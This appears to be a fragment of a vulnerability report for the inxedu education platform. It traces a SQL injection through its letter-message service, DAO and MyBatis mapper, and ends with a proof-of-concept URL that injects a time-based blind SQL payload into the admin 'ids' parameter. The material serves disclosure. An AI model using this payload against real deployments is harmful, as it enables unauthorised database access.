代码拉取完成,页面将自动刷新

it calls:
com/inxedu/os/edu/service/impl/letter/MsgSystemServiceImpl.java

com/inxedu/os/edu/dao/impl/letter/MsgSystemDaoImpl.java

inxedu use Mybatis, the logic is in mybatis/inxedu/letter/MsgSystemMapper.xml

2. POC
http://127.0.0.1:8080/admin/letter/delsystem/?ids=1,(select*from(select(sleep(5)))a)

